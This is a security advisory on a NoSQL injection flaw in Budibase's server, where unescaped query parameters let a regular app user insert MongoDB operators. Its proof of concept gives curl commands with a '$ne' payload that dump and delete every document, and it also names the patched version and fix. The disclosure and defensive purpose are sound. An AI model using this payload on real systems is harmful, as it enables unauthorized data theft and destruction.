@budibase/server NoSQL Injection via MongoDB Query Parameter Interpolation
A flaw in how Budibase builds MongoDB queries lets any app user inject JSON operators into a query parameter, bypassing filters to read, modify, or delete arbitrary documents in the database.

The problem
The enrichContext() function in packages/server/src/sdk/workspace/queries/queries.ts interpolates user-supplied parameter values directly into a raw JSON query string using Handlebars with noEscaping: true, then passes the result to JSON.parse().
The only upstream guard, validateQueryInputs(), blocks Handlebars syntax ({{}}) but ignores JSON structural characters like ", {, and }. A regular app user holding QUERY WRITE permission can therefore reshape the parsed filter object and send it straight to collection.find(), collection.updateMany(), or collection.deleteMany() with no further sanitization.
Proof of concept
A working proof-of-concept for this issue in @budibase/server, with the exact payload below.
# Saved query template on the server:
# { "username": "{{username}}" }
#
# Step 1: authenticate as a regular app user
TOKEN=$(curl -s -X POST http://localhost:10000/api/global/auth \
-H "Content-Type: application/json" \
-d '{"username":"appuser@example.com","password":"password"}' \
-c - | grep budibase:auth | awk '{print $NF}')
# Step 2: inject to dump all documents
# injected value: ", "$ne": "
# resulting query: {"username": "", "$ne": ""}
curl -s -X POST http://localhost:10000/api/v2/queries/query_abc123 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Returns all documents where username is not empty
# Step 3: delete all documents via a delete-type query
curl -s -X POST http://localhost:10000/api/v2/queries/query_del456 \
-H "Content-Type: application/json" \
-b "budibase:auth=$TOKEN" \
-d '{"parameters": {"username": "\", \"$ne\": \""}}'
# Deletes ALL documents matching the injected filterThe parameter value ", "$ne": " closes the intended string value early and appends a new key-value pair. After Handlebars substitution with noEscaping: true, the template {"username": "{{username}}"} becomes {"username": "", "$ne": ""}, which JSON.parse() accepts as a valid object.
That object flows unchanged into the MongoDB driver, so the $ne operator matches every document where username is not an empty string.
The fix in commit 2d6c1d17 adds an escapeJsonValue() helper that escapes backslashes and double-quotes in parameter values before interpolation, so injected metacharacters can no longer break out of their string context. This is a classic CWE-943 (Improper Neutralization of Special Elements in Data Query Logic) pattern: validation and interpolation operated on different threat models.
The fix
Upgrade @budibase/server to **3.39.9** or later (patch commit 2d6c1d17cff8a653adbb2f9003eda9de38c7670f, PR #18907). The fix escapes \ and " in every parameter value before Handlebars interpolation, preventing structural injection into the JSON template.
As a defense-in-depth measure, also consider adding Joi schema validation to the POST /api/v2/queries/:queryId execute endpoint, consistent with the validation already present on the save and preview endpoints.
Related research
- critical · 10CVE-2026-54350CVE-2026-54350: @budibase/server Anonymous NoSQL Operator Injection via Query Templates
- high · 8.8Budibase: App-Scoped Builder Privilege Escalation via Public Role Assignment API
- highBudibase Email Change IDOR Allows Full Account Takeover via POST /api/v2/email
- high · 7.1Budibase MongoDB Integration NoSQL Operator Injection